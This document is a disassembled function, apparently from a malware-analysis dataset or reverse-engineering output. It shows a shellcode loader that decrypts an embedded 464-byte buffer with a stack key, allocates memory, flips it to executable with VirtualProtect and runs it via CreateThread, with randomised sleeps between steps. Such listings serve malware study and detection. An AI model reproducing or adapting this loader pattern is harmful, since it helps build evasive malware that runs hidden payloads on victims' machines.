Function at 0x401825
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
call sym.__main
mov byte [rbp + 0x190], 0xd2
mov byte [rbp + 0x191], 0x15
mov byte [rbp + 0x192], 0xd5
mov byte [rbp + 0x193], 0x4a
mov byte [rbp + 0x194], 0x4b
mov byte [rbp + 0x195], 0x3e
mov byte [rbp + 0x196], 0x31
mov byte [rbp + 0x197], 0xd1
mov byte [rbp + 0x198], 0x75
mov byte [rbp + 0x199], 0xa9
mov byte [rbp + 0x19a], 0xa8
mov byte [rbp + 0x19b], 0x68
mov byte [rbp + 0x19c], 0x12
mov byte [rbp + 0x19d], 0x4e
mov byte [rbp + 0x19e], 0xc1
mov byte [rbp + 0x19f], 0xcd
lea rax, [rbp - 0x40]
lea rdx, [0x0049f020]
mov ecx, 0x1d0
mov r8, rcx
mov rcx, rax
call sym.memcpy
call sym.rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x7d0
cdqe
mov rcx, rax
call sym.__alt_sms_unsigned_long_long_
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x1d0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x190]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rdx
mov edx, 0x1d0
mov rcx, rax
call sym.repair_func_unsigned_char__unsigned_long__unsigned_char__unsigned_long_
test eax, eax
setne al
test al, al
je 0x401992
lea rdx, str.Decryption_failed
mov rcx, qword [0x004a7c50]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x1b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0xffffffff
jmp 0x401b36
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x1d0
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov dword [rbp - 0x44], 0
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x1b8]
mov r9, rdx
mov r8d, 2
mov edx, 0x1d0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
mov edx, eax
mov rcx, qword [0x004a7c50]
call method.std::ostream.operator___int_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
call sym.rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x3e8
cdqe
mov rcx, rax
call sym.__alt_sms_unsigned_long_long_
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x1b8]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1d0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
mov edx, eax
mov rcx, qword [0x004a7c50]
call method.std::ostream.operator___int_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
call sym.rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x3e8
cdqe
mov rcx, rax
call sym.__alt_sms_unsigned_long_long_
mov rdx, qword [rbp + 0x1b8]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov rdx, rax
mov rcx, qword [0x004a7c50]
call method.std::ostream.operator___void_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x1a8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x240
pop rbp
ret